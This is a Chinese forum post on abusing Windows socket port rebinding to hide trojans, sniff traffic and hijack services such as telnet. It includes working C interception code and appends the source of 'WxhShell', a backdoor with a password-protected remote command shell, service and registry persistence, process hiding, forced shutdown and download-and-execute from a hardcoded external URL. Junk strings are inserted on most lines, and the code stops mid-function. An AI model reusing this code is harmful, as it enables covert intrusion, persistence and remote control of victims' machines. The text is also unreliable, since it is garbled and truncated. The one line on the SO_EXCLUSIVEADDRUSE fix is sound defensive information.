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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M{RZ-)IC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]<z(Rmn`Q  
xVX||rrh  
  saddr.sin_family = AF_INET; ^aWNtY' :  
0BD((oNg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (SVr>|Db  
&+iW:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D)Rf  
0lh6b3tdP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a-2 {x2O  
zW`koRH@  
  这意味着什么?意味着可以进行如下的攻击: U+M?<4J) "  
cyeDZ)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0\^2HjsJ  
p+D 6Z'B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sBI%lrO  
!T(Omve)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YEoT_>A$dB  
=}lA|S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;7*@Gf}R  
7f,W zvV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C2i..iD  
?Gw89r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <&Xq`i/(  
R*C+Yk)Tkt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DA@hf  
/ {~h?P}  
  #include l;kZS  
  #include g}KZL-p4\m  
  #include ^}\R]})w"  
  #include    ]arskmB]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s4k%ty}  
  int main() @ &yj7-]  
  { ebK wCZwK*  
  WORD wVersionRequested; agD.J)v\  
  DWORD ret; ?tQv|x  
  WSADATA wsaData; rL"k-5>fd  
  BOOL val; Xe+FMbBco  
  SOCKADDR_IN saddr; @23x;x  
  SOCKADDR_IN scaddr; =6YO!B>7  
  int err; N,$o' \l  
  SOCKET s; shZ<j7gqI  
  SOCKET sc; 'PbA/MN  
  int caddsize; 6\@, Lb  
  HANDLE mt; DK%eFCo<~  
  DWORD tid;   gi >{`.]  
  wVersionRequested = MAKEWORD( 2, 2 ); aC 0Jfo  
  err = WSAStartup( wVersionRequested, &wsaData ); mj|9x1U)  
  if ( err != 0 ) { =(\!,S'  
  printf("error!WSAStartup failed!\n"); 4=:eGlU93U  
  return -1; @1Lc`;Wd  
  } >f8,YisH  
  saddr.sin_family = AF_INET; !WnI`  
   ji=po;g=E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z59J=?|  
S,%HW87  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S`KCVQ>V  
  saddr.sin_port = htons(23); nJg2O@mRJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rM |RGe  
  { m/Z_HER^  
  printf("error!socket failed!\n"); hh}EDnx  
  return -1; :h~!#;w_  
  } <2d@\"AoHE  
  val = TRUE; \M@8# k|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h_!"CF <n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5Oq;V: 7  
  { Vrh],xK7  
  printf("error!setsockopt failed!\n"); tn1aH +  
  return -1; WQL`;uIX  
  } $g;xw?~#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }iAi`_\0;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~T9[\nU\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #9Z-Hd<  
&nP rozC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k]g\` gc  
  { k({8C`&tK/  
  ret=GetLastError(); ,cEcMaJ  
  printf("error!bind failed!\n"); UC@"<$'C  
  return -1; pC8i &_A  
  } `_`,XkpzCJ  
  listen(s,2); ic#drpl,  
  while(1) @eWx4bl  
  { _R6> Ayw*  
  caddsize = sizeof(scaddr); 1[]cMyV  
  //接受连接请求 JK`P mp>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .5xM7,  
  if(sc!=INVALID_SOCKET) 0f1#T gX  
  { X9HI@M]h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UtrbkuT  
  if(mt==NULL) pnU g:R@  
  { P0=F9`3wb  
  printf("Thread Creat Failed!\n"); h@d m:=ul  
  break; C-Z,L#  
  } }1dh/Cc`  
  } Tp13V.|  
  CloseHandle(mt); i\G3 u#  
  } _T$\$v$ {  
  closesocket(s); {9MYEN}FO  
  WSACleanup(); 1-#tx*>AY  
  return 0; Le!I-i( aD  
  }   < r~Tj  
  DWORD WINAPI ClientThread(LPVOID lpParam) :ux`*,zh  
  { ,z3b2$ &A  
  SOCKET ss = (SOCKET)lpParam; }^q#0`e(y  
  SOCKET sc; $Vzfhj-if  
  unsigned char buf[4096]; |z%,W/Ef  
  SOCKADDR_IN saddr; _JH6bvbQ  
  long num; %ZK}y{u\  
  DWORD val; =qRVKz  
  DWORD ret; P'8 E8_M}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |*$_eb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n6f|,D!?  
  saddr.sin_family = AF_INET; *&D=]fG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -E7\ .K3  
  saddr.sin_port = htons(23); 25L{bcng  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KX`,7-  
  { e j9G[  
  printf("error!socket failed!\n"); K~]jXo^M  
  return -1; jo~Pr  
  } #,56vVY  
  val = 100; k s}o9[D3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 51vK>  
  { 5hAg*zJb5o  
  ret = GetLastError(); PR+!CFi&  
  return -1; ?x @khzk  
  } !MC W t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]O."M"B  
  { @w0[5ZAj  
  ret = GetLastError(); ( EX  
  return -1; w3@ te\  
  } zjmc>++<t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xcig'4L  
  { v6:DA#0  
  printf("error!socket connect failed!\n"); ?6dtvz;K+?  
  closesocket(sc); k$UBZ,=iC  
  closesocket(ss); CvN~  
  return -1; XHr{\/4V  
  } :$j~;)2  
  while(1) *u }):8=&R  
  { ^4"_I   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uOQ5.S+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EB#z\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yl}Hr*  
  num = recv(ss,buf,4096,0); 7@FB^[H:y  
  if(num>0) vF,l?cU~  
  send(sc,buf,num,0); ( nh!tC  
  else if(num==0) A SSoKrFL  
  break; RC 48e._t  
  num = recv(sc,buf,4096,0); ~&x%;cnv_  
  if(num>0) L2qF@!Yy=  
  send(ss,buf,num,0); r2G<::<zL  
  else if(num==0) Ij+zR>P8=\  
  break; 2Y+*vNs3  
  } 'Khq!pC   
  closesocket(ss); j{g{`Qa  
  closesocket(sc); fh~&&f}6  
  return 0 ; Nd6z81  
  } )~`zjVx_  
jnTl%aQYc  
AOe~VW  
========================================================== f As:[  
 51j  
下边附上一个代码,,WXhSHELL bbJa,}R  
(; "ICk&  
========================================================== <LJ$GiU  
A-W7!0  
#include "stdafx.h" `Ao: }  
>HFJm&lQ  
#include <stdio.h> 3{ci]h`:y8  
#include <string.h> 1jL?z6S  
#include <windows.h> 1pV"< ,t  
#include <winsock2.h> j- A|\:   
#include <winsvc.h> f_7p.H6\  
#include <urlmon.h> `&_qK~&/X  
/Yh8r1^2tZ  
#pragma comment (lib, "Ws2_32.lib") P}5aN_v \  
#pragma comment (lib, "urlmon.lib") -K j CPc  
9hv\%_>o  
#define MAX_USER   100 // 最大客户端连接数 Cn,jLy  
#define BUF_SOCK   200 // sock buffer M(|gfsD  
#define KEY_BUFF   255 // 输入 buffer AKpux,@xB  
s+[=nau('w  
#define REBOOT     0   // 重启 $H#&.IjY  
#define SHUTDOWN   1   // 关机 h+Dok#g  
cZu:dwE  
#define DEF_PORT   5000 // 监听端口 E|>I/!{u7`  
+,MzD'(D  
#define REG_LEN     16   // 注册表键长度 2d._X$fx7  
#define SVC_LEN     80   // NT服务名长度 [ACYd/  
G2Apm`/ y  
// 从dll定义API *f(}@U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aQ)9<LsI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `drvu?F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uk1IT4+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C.@zVt  
lY1m%  
// wxhshell配置信息 O7.Is88!  
struct WSCFG { ={fi&j  
  int ws_port;         // 监听端口 IOA{l N6  
  char ws_passstr[REG_LEN]; // 口令 OD i)#  
  int ws_autoins;       // 安装标记, 1=yes 0=no {M$1?j"7  
  char ws_regname[REG_LEN]; // 注册表键名 ; etH)  
  char ws_svcname[REG_LEN]; // 服务名 DGU$3w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  &]euN~y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g9gyWz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @ +7'0[y?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |!}$V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 78X;ZMY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rh!41  
8ZN J}  
}; MT9a1 >  
[)*fN|Hy  
// default Wxhshell configuration tly:$;K  
struct WSCFG wscfg={DEF_PORT,  *) wp  
    "xuhuanlingzhe", b#P8Je`;9  
    1, &L/ C:<.  
    "Wxhshell", [p <L*3<  
    "Wxhshell", GL/\uq  
            "WxhShell Service", y|@^0]}%<  
    "Wrsky Windows CmdShell Service", ?XHJCp;f  
    "Please Input Your Password: ", ?LZ)r^ger  
  1, $Ec;w~e  
  "http://www.wrsky.com/wxhshell.exe", !XFN/-Q ,  
  "Wxhshell.exe" i->sw#  
    }; H P7Ec  
9Kqr9U--v  
// 消息定义模块 Fc=8Qt^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ht1 jrCe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #&@&BlIe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5'o.v^l  
char *msg_ws_ext="\n\rExit."; OxD\e5r  
char *msg_ws_end="\n\rQuit."; v9<p@GY"\  
char *msg_ws_boot="\n\rReboot..."; d`:0kOF+  
char *msg_ws_poff="\n\rShutdown..."; 04( h!@!g:  
char *msg_ws_down="\n\rSave to "; A.y$.(  
_|*j8v3  
char *msg_ws_err="\n\rErr!"; Y)uNzb6R  
char *msg_ws_ok="\n\rOK!"; #>233<  
9`b*Y*d  
char ExeFile[MAX_PATH]; , vky  
int nUser = 0; f6m^pbQFl  
HANDLE handles[MAX_USER]; "aP/214Ul  
int OsIsNt; -Wmpj  
P017y&X  
SERVICE_STATUS       serviceStatus; 4 Hu+ljdjB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jReI+ pS  
(Q @m;i>  
// 函数声明 o]]Q7S=  
int Install(void); 4TLh'?Xu9  
int Uninstall(void); 0]"j,  
int DownloadFile(char *sURL, SOCKET wsh); ,@P3!|  
int Boot(int flag); .$q]<MK8  
void HideProc(void); `dj/Uk  
int GetOsVer(void); _ p?q/-[4  
int Wxhshell(SOCKET wsl); M5<5 (l  
void TalkWithClient(void *cs); rp _G.C  
int CmdShell(SOCKET sock); X=DJOepH'  
int StartFromService(void); L\b$1U!i  
int StartWxhshell(LPSTR lpCmdLine); UP,(zKTA  
7ed*dXY*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =B; )h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M HgS5b2  
^m5{:\ Xk  
// 数据结构和表定义  1 ft. ZJ  
SERVICE_TABLE_ENTRY DispatchTable[] = "e_ED*  
{ v+\E%H  
{wscfg.ws_svcname, NTServiceMain}, ncWASw`  
{NULL, NULL} *EotYT  
};  6E  
s&c^Wr  
// 自我安装 Jcy`:C\Ay  
int Install(void) !x,3k\M  
{ AKS(WNGEp  
  char svExeFile[MAX_PATH]; -5E<BmM  
  HKEY key; %2 >FSE  
  strcpy(svExeFile,ExeFile); C~l5D4D#  
Sm-nb*ZyC  
// 如果是win9x系统,修改注册表设为自启动 s_RYYaM  
if(!OsIsNt) { (Q\w4?ci  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7}nOF{RH]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /A_ IS`  
  RegCloseKey(key); M14pg0Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )of_"gZ$3A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MT0}MMr  
  RegCloseKey(key); ,x_g|J _Y  
  return 0; w| >Y&/IX  
    } /a]+xL  
  } * yt/ Dj  
} I{M2nQi  
else { H-I*;  
Ue8_Q8q5  
// 如果是NT以上系统,安装为系统服务 [V1gj9t=,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YrB-;R 1+  
if (schSCManager!=0) >(\[$  
{ h>\}-|Ek  
  SC_HANDLE schService = CreateService !FO92 P16  
  ( 0w OgQ n  
  schSCManager, hzPpw.  
  wscfg.ws_svcname, hR. EZ|.  
  wscfg.ws_svcdisp, `5>IvrzXrK  
  SERVICE_ALL_ACCESS, JhuK W>7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "+| >nA=7  
  SERVICE_AUTO_START, E6n;_{Se/S  
  SERVICE_ERROR_NORMAL, <@Ew-JU  
  svExeFile, V,2O `D%  
  NULL, }}ogdq  
  NULL, *aTM3k)Zs  
  NULL, >+8mq]8^  
  NULL, \Ud2]^D=  
  NULL !4 6 ^}3  
  ); 2Y$==j  
  if (schService!=0) 'o5[ :=K  
  { u D . 0?*_  
  CloseServiceHandle(schService); IMVoNKW-  
  CloseServiceHandle(schSCManager); ^\x PF5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gAR];(*  
  strcat(svExeFile,wscfg.ws_svcname); mTcLocx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6.ap^9AD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n+xM))  
  RegCloseKey(key); mv + .5X  
  return 0; ph69u #Og  
    } 71wyZJ  
  } o2%"Luf<  
  CloseServiceHandle(schSCManager); uV;Z  
} sX@e1*YE_  
} dLjT^ 9  
"ebn0<cZ  
return 1; F.AO  
} B[y1RI|9  
'"I"D9;9  
// 自我卸载 O1/!)E!  
int Uninstall(void) @^`-VF  
{ SqEO ] ~  
  HKEY key; c-gaK\u}j}  
^B5Hjf9  
if(!OsIsNt) { 'X`\vTxB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hI/p9 `w  
  RegDeleteValue(key,wscfg.ws_regname); uE/qraA  
  RegCloseKey(key); Gew0Y#/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _)^(-}(_D  
  RegDeleteValue(key,wscfg.ws_regname);  6W3}6p  
  RegCloseKey(key); 2Q<_l*kk(  
  return 0; /x`H6'3?  
  } />]/At  
} }~\J7R'  
} S$V'_  
else { ))eR  
-[+FVvS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aIkxN&  
if (schSCManager!=0) p%j@2U  
{ xXLKL6F(\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $BNn1C8[  
  if (schService!=0) cbS8~Xmj  
  { }_u )3X.O  
  if(DeleteService(schService)!=0) { $KtMv +m"  
  CloseServiceHandle(schService); .t\ Yv/|`  
  CloseServiceHandle(schSCManager); SUx\qz)  
  return 0; ysvn*9h+&  
  } >2N` l  
  CloseServiceHandle(schService); <$ '#@jW  
  } b}[{'  
  CloseServiceHandle(schSCManager); [D /q%  
} 3`-[95w  
} t$s)S>  
Rk`c'WP0*  
return 1; GfVMj7{  
} <y!6HJ"  
h j9 b Mj  
// 从指定url下载文件 x~KS;hA  
int DownloadFile(char *sURL, SOCKET wsh) <;W4Th<4  
{ (A"oMnjWd  
  HRESULT hr; vW~_+:),e  
char seps[]= "/"; mb?yG:L=0b  
char *token; 4?8GK  
char *file; A7ck-9dT/L  
char myURL[MAX_PATH]; 6 0QElJ9D  
char myFILE[MAX_PATH]; %#|S  
V GM/ed5-  
strcpy(myURL,sURL); {*tewF)|  
  token=strtok(myURL,seps); RU[{!E  
  while(token!=NULL) a'Aru^el  
  { ~>)cY{wE_  
    file=token; '0?5K0 2(  
  token=strtok(NULL,seps); g"<kj"  
  } \#~~,k 6f  
gNe{P~ $=  
GetCurrentDirectory(MAX_PATH,myFILE); !L>'g  
strcat(myFILE, "\\"); v82@']IN  
strcat(myFILE, file); |nMbf  
  send(wsh,myFILE,strlen(myFILE),0); j^:\a\-1  
send(wsh,"...",3,0); 3",6 E(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ISOPKZ#F  
  if(hr==S_OK) %K?~$;Z.  
return 0; u;y1leG  
else 9KCnitU  
return 1; <w08p*?  
At.WBa3j%{  
} CYG'WFvZZ  
>e8 t  
// 系统电源模块 @bS>XWI>  
int Boot(int flag) ~H?RHYP~  
{ =OhhMAn  
  HANDLE hToken; Bg;bBA!L  
  TOKEN_PRIVILEGES tkp; b>;5#OQfn  
l--xq^,`o]  
  if(OsIsNt) { SyTcp?H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r+\it&cW+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $eI[3{}X  
    tkp.PrivilegeCount = 1; FVL0K(V(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |0mh*+i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 33-=Z9|r  
if(flag==REBOOT) { >}_c<`:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :B)w0tVw  
  return 0; <XGOcekG  
} L"#Tas\5  
else { *$uKg zv3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^8E/I]-  
  return 0; 'X{7b <  
} %p^C,B{7w  
  } b(K.p?bt  
  else { 3{~h Rd  
if(flag==REBOOT) { nL@P {,J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hg=\L5R  
  return 0; _d)w, ;m#  
} O^|,Cbon6  
else { 0jE,=<W0>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nn5S7!  
  return 0; !0E$9Xon  
} 4Uz6*IQNl  
} (\#j3Y)r  
dzggl(  
return 1; EGU? 54  
} V?5QpBK I  
gXs@FhR0  
// win9x进程隐藏模块 u=k\]W-  
void HideProc(void) G;wv.|\  
{ vg *+>lbA  
et/mfzV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CSwNsFDR%  
  if ( hKernel != NULL ) Hm%[d;Z7  
  { V<nh+Q3<d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  Zna }h{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TkmN.@w_C  
    FreeLibrary(hKernel); Za4 YD  
  } C n4|qX"&t  
rDm>Rm=  
return; cb|`)"<HN  
} K)@]vw/\  
H;Z{R@kf  
// 获取操作系统版本 CM8WI~  
int GetOsVer(void) W=PDOzB>K  
{ R+rHa#M_  
  OSVERSIONINFO winfo; l AE$HP'o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j&[63XSe  
  GetVersionEx(&winfo); 4hZ-^AL"(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :IbrV@gN{@  
  return 1; Xgr|~(^  
  else R# mZYg  
  return 0; ^J\)cw  
} xLq+n jH E  
{Yv |C)O  
// 客户端句柄模块 cidS/OH  
int Wxhshell(SOCKET wsl) "yL&?B"9@  
{ (|h<{ -L  
  SOCKET wsh; CA[k$Sw*  
  struct sockaddr_in client; q{n~s=  
  DWORD myID; hTH"jAC+  
>-EoE;s  
  while(nUser<MAX_USER) DlfXzKn;  
{ W>;AMun  
  int nSize=sizeof(client); nolTvqMT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $(#o)r>_R  
  if(wsh==INVALID_SOCKET) return 1; T|ZT&x$z  
||9f@9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?W%3>A  
if(handles[nUser]==0) Wb/@~!+i`  
  closesocket(wsh); rx|/]NE;  
else JnV$)EYi  
  nUser++; ",Ek| z  
  }  //K]zu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Z<Z"R/  
w[:5uo(  
  return 0; ~O |j*T  
} tJ2l_M^  
69O?sIk  
// 关闭 socket 2zArAch  
void CloseIt(SOCKET wsh) 8t9sdqM/C  
{ \`|,wLgH  
closesocket(wsh); &hjrJ/'^  
nUser--; ~sMn/T*fv  
ExitThread(0); VO. Y\8/  
} WNlWigwYl  
LPewoAXO  
// 客户端请求句柄 hFylQfd  
void TalkWithClient(void *cs) "R4~ 8r  
{ $N:m 9R  
Lu1>A {et  
  SOCKET wsh=(SOCKET)cs; kZPj{^c:  
  char pwd[SVC_LEN]; cg0L(oI~  
  char cmd[KEY_BUFF]; >(:KEA  
char chr[1]; nb(#;3DQ  
int i,j; zSDiJ$Xk  
B~LB^ n(>@  
  while (nUser < MAX_USER) { -wvJZ  
M /Bn^A8@  
if(wscfg.ws_passstr) { pd>EUdbrp&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BU]9eF!>h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @*A(#U8p3  
  //ZeroMemory(pwd,KEY_BUFF); O_(J',++  
      i=0; )k0bP1oGS  
  while(i<SVC_LEN) { /HI#8  
SYa!IL-B  
  // 设置超时 2R:['QT  
  fd_set FdRead; _EjS(.e/=  
  struct timeval TimeOut; "AUY+ LN  
  FD_ZERO(&FdRead); _pjpPSV6J  
  FD_SET(wsh,&FdRead); s:wLEj+  
  TimeOut.tv_sec=8; cg$7`/U  
  TimeOut.tv_usec=0; @iao"&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]5rEwPB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DV{Qbe#In  
B7N?"'$i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EDL<J1%  
  pwd=chr[0]; /!jn$4fd:  
  if(chr[0]==0xd || chr[0]==0xa) { 9QWS[E4  
  pwd=0; ;t[<!  
  break; +#'exgGU^[  
  } a+r0@eFLc  
  i++; v<3i~a  
    } &[23DrI8  
yBs  
  // 如果是非法用户,关闭 socket 7}TjOWC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Qlvj.Xw  
} \>:(++g  
CO 5?UgA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %|l*=v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _oe2 pL&  
mw?,oiT,)  
while(1) { _g$6vx&  
{9_CH<$W%U  
  ZeroMemory(cmd,KEY_BUFF); 4`!(M]u=  
Jw"'ZW#W  
      // 自动支持客户端 telnet标准   "sL#)<%  
  j=0; 6ZCt xs!  
  while(j<KEY_BUFF) { YI&^j2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tw\/1wa.  
  cmd[j]=chr[0]; olQ;XTa01F  
  if(chr[0]==0xa || chr[0]==0xd) { k\zNh<^  
  cmd[j]=0; YuLW]Q?v  
  break; Eh8.S)E  
  } j YO #  
  j++; v3.JG]zLpP  
    } eUx|_*`  
Tx],- U  
  // 下载文件 @ ;rU#  
  if(strstr(cmd,"http://")) { /v=MGX@r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A!goR-J]  
  if(DownloadFile(cmd,wsh)) `')3}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5I t+ S+a  
  else (Cqhk:F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )[G5qTO  
  } H.!M_aJH  
  else { Sf lHSMFw  
* J~N  
    switch(cmd[0]) { 0u -'{6  
  Jr 9\j3J{  
  // 帮助 6S<J'9sE  
  case '?': { +<8r?d2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e9N"{kDs6  
    break; &YqgMC  
  } dM#\h*:=  
  // 安装 o!\Vk~Vi&  
  case 'i': { A GS?<6W-  
    if(Install()) n#bC ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a|lcOU  
    else N[ E t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 80 i<Ij8J  
    break; ndW? ?wiM  
    } 9M<qk si  
  // 卸载 ]NG`MZ  
  case 'r': { <E!M<!h  
    if(Uninstall()) krI<'m;a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *,@dt+H!y  
    else ] 6M- s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fZT=q^26  
    break; trtI^^/%  
    } Z5_U D  
  // 显示 wxhshell 所在路径 tE=P9 \4  
  case 'p': { 6\/C]![%  
    char svExeFile[MAX_PATH]; ?uOdqMJV  
    strcpy(svExeFile,"\n\r"); f!0*^d  
      strcat(svExeFile,ExeFile); E3;[*ve  
        send(wsh,svExeFile,strlen(svExeFile),0); wM_k D  
    break; l#V"14y  
    } ~48Uch\LG:  
  // 重启 MU%C_d%.  
  case 'b': { -~]*)&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J=| fxR  
    if(Boot(REBOOT)) Da)9s %_4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &37QUdp+p  
    else { }_:^&cT  
    closesocket(wsh); IGOqV>;  
    ExitThread(0); j01#Wq_\fk  
    } ]rXRon='  
    break; ;~#rd L  
    } -HS(<V=a?k  
  // 关机 Qc Ia%lf  
  case 'd': { K"#np!Y)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V!a\:%#^Y  
    if(Boot(SHUTDOWN)) )TBBYCL3  
